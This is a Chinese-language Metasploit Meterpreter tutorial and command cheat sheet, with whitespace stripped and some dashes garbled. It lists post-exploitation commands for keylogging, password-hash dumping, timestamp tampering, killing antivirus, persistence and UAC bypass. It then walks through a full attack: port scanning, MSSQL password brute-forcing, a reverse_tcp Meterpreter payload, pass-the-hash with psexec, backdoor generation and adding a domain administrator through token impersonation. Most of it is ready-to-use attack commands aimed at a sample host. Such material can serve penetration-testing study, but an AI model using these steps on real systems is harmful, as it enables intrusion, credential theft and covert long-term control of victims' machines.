Metasploit是Windows系统下的ShellCode―meterpreter!
MetasploitFramework是一个缓冲区溢出测试使用的辅助工具,也可以说是一个漏洞利用和测试平台,它集成了各种平台上常见的溢出漏洞和流行的shellcode,并且不断更新,使得缓冲区溢出测试变的方便和简单。
exploit是指“漏洞及其利用”,其利用一切可以利用的工具、采取一切可以采取的方法、找到一切可以找到的漏洞。并且对漏洞资料的分析研究,达到某些目的。
metasploit工具的主页是http://www.measoloit.com
metasploit框架的下载地址是:http://www.metasploit.com/framework/download
在Backtrack5里面自带的溢出工具内,在得到溢出的结果后,我们都可以在进行溢出连接时得到一个meterpreter的会话
Meterpreter的特征
meterpreter是metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个meterpretershell的链接。
meterpretershell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息
另外meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。
最后,meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。
meterpreter工作的好处:
1、不创建进程(使用的内存注入方式)
2、meterpreter是一个解释器加载各种攻击命令
3、工作在被攻击进程的上下文中
4、通信是加密的(TLV协议),可以躲避IDS
5、没有硬盘写入操作
6、使用的通信方式是信道模式,可以同时和几个信道工作,支持多信道
7、支持扩展编写
meterpreter工作过程:
1、漏洞的利用代码+第一阶段的攻击载荷
2、攻击载荷反向连接到msf
3、发送第二阶段的攻击载荷
dMSF发送meterpreter服务器dll
4、客户端和服务器进行通信
常用的系统命令:
background把当前的会话设置为背景,需要的时候在启用
getuid查看对方正在运行的用户
ps列出所有的进程
getpid返回运行meterpreter的id号
sysinfo产看系统信息和体系结构
shell切换到cmd的系统权限方式
exit退出shell会话返回meterpreter或终止meterpreter
进程迁移和提权:
getsystem会自动利用各种各样的系统漏洞来进行权限提升
migrate进程id进程迁移
和目标建立多重通信的信道:
excute用来启用多重通信信道
excute-fexploit.exe-c
channel-l列出可用通信信道
interact和信道进行交互(获得cmd)
write3向信道写入数据,以‘.’结束
常用的文件系统的命令:
pwd产看当前所在的工作目录
cd切换到想要的工作目录
search-f*.dof-dc:\搜索文件
download支持文件下载
downloadc:\a.doc/root下载到本地的root目录
upload/root/mm.exec:\sys.exe上传到远程主机
timestompc:/a.doc-v查看文件的时间信息。
timestompc:/a.doc-c"9/23/201314:22:11"修改文件的创建时间
-m,-a文件的修改时间和最后一次访问的时间。
-z修改所有时间,尽量不要用。
-v查看
常用的网络命令:
ipconfig查看ip配置
route显示路由表,也可以配置ip地址。和linux方法一样
routeaddip地址掩码网关
portfwd-a-L127.0.0.1-l888-h7.6.5.4-p5631
-a添加一个新的转发规则
-L目标主机的IP地址
链接127.0.0.1的888端口,会被转发到7.6.5.4的5631端口
keyscan_start安装键盘窃听器
keyscan_dump导出活跃桌面的键盘记录
关于windows的桌面的编号0控制台12其他会话或远程登陆。
Meterpreter脚本:
使用runscriptname方式执行
①vnc脚本,获取远程机器vnc界面控制
meterpreter>runvnc
meterpreter>runscreen_unlock
②进程迁移
当攻击成功后将连接进程从不稳定进程(如使用浏览器溢出漏洞exp进行攻击时浏览器
可能会被目标关闭)迁移至稳定进程(explorer.exe),保持可连接。
例子:
meterpreter>runpost/windows/manage/migrate
(在64位win7中migrate需要管理员权限执行后门才能成功,而migrate前后获取的
权限是有差异的。)
③关闭杀毒软件
meterpreter>runkillav(这个脚本要小心使用,可能导致目标机器蓝屏死机。)
④获取系统密码hash
meterpreter>runhashdump
(64位win7下需要管理员权限执行后门且先getsystem,然后使用
runpost/windows/gather/hashdump来dumphash成功率更高。
而且如果要使用shell添加系统账户的话win7下得先:
runpost/windows/escalate/bypassuac,不然可能不会成功。)
⑤获取系统流量数据
meterpreter>runpacktrecorder�Ci1
⑥直捣黄龙
可以干很多事情:获取密码,下载注册表,获取系统信息等
meterpreter>runscraper
⑦持久保持
当目标机器重启之后仍然可以控制
meterpreter>runpersistence�CX�Ci50�Cp443�Cr192.168.1.111
-X开机启动-i连接超时时间�Cp端口�CrIP
下次连接时:
msf>usemulti/handler
setpayloadwindows/meterpreter/reverse_tcp
setLPOST443
setLHOST192.168.1.111
exploit
(会在以下位置和注册表以随机文件名写入文件等信息,如:
C:\Users\YourtUserName\AppData\Local\Temp\MXIxVNCy.vbs
C:\Users\YourtUserName\AppData\Local\Temp\radF871B.tmp\svchost.exe
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\DjMzwzCDaoIcgNP)
⑧POST整合模块
可实现同时多个session操作
例子:获取hash
meterpreter>runpost/windows/gather/hashdump
其他还有很多,使用TAB键补全看下就知道runpost/<TAB>
当对目标系统进行溢出时,使用meterpreter作为payload,给测试者返回一个shell,可用于在目标机器上执行更多的操作。
例子:
msf>nmap�CsT�CA�CP0192.168.1.130#探测开放服务
假如已经探测到1433(TCP)和1434(UDP)端口(mssql),
msf>nmap�CsU192.168.1.130�CP1434#确认端口开放
msf>useauxiliary/scanner/mssql/mssql_ping
showoptions
setRHOSTS192.168.1.1/24
setTHREADS20
exploit
至此可获取服务器名称,版本号等信息。
msf>useauxiliary/scanner/mssql/mssql_login
showoptions
setPASS_FILE/pentest/exploits/fasttrack/bin/dict/wordlist.txt
setRHOSTS192.168.1.130
setTHREADS10
setverbosefalse
exploit
暴力猜解登陆密码。接下来使用mssql自带的xp_cmdshell功能添加账户:
msf>useexploit/windows/mssql/mssql_payload
showoptions
setpayloadwindows/meterpreter/reverse_tcp
setLHOST192.168.1.111
setLPORT433
setRHOST192.168.1.130
setPASSWORDpassword130
exploit
当获取到一个meterpretershell后可以执行更多的操作:
获取屏幕截图:screenshot
获取系统信息:sysinfo
获取键盘记录:
meterpreter>ps#查看目标机器进程,假设发现explorer.exe的进程号为1668:
meterpreter>migrate1668#插入该进程
meterpreter>runpost/windows/capture/keylog_recorder#运行键盘记录模块,将击键记录保存到本地txt
cat/root/.msf3/loot/*****.txt#查看结果
获取系统账号密码:
meterpreter>usepriv
meterpreter>runpost/windows/gather/hashdump
当获取到密码的hash之后无法破解出明文密码且无法直接使用hash登陆,需要使用
pass-the-hash技术:
msf>usewindows/smb/psexec
setPAYLOADwindows/meterpreter/reverse_tcp
setLHOST192.168.1.111
setLPORT443
setRHOST192.168.1.130
setSMBPassaad
3b435b51404eeaad3b435b51404ee:b75989f65d1e04af7625ed712ac36c29
exploit
获取到系统权限后我们可以新建一个普通账号,然后使用此账号执行我们的后门:
在目标机器上执行:netuaerhackerpass/add
本地生成一个后门程序:
msfpayloadwindows/meterpreter/reverse_tcp
LHOST=192.168.1.111
LPORT=443X>payload.exe
将payload.exe拷贝到目标机器然后使用新建立的账号执行
本地执行端口监听,等待来自目标机器连接:
msfclimulti/handlerPAYLOAD=windows/meterpreter/reverse_tcp
LHOST=192.168.1.111
LPORT=443
usepriv
getsystem
getuid
至此取得SYSTEM权限
令牌模拟:当有域控账户登陆至服务器时可使用令牌模拟进行渗透取得域控权限,之后
登陆其他机器时不需要登陆密码。
meterpreter>ps#查看目标机器进程,找出域控账户运行的进程ID,假如发现PID为380
meterpreter>steal_token380
有时ps命令列出的进程中可能不存在域控账户的进程,此时使用incognito模块查看可
用token:
meterpreter>useincognito
meterpreter>list_tokens�Cu#列出可用token,假如找到域控token
meterpreter>impersonate_tokenSNEAKS.IN\\ihazdomainadmin
meterpreter>add_userhackerpassword�Ch192.168.1.50#在域控主机上添加账户
meterpreter>add_group_user“DomainAdmins”hacker�Ch192.168.1.50#将账户添加至
域管理员组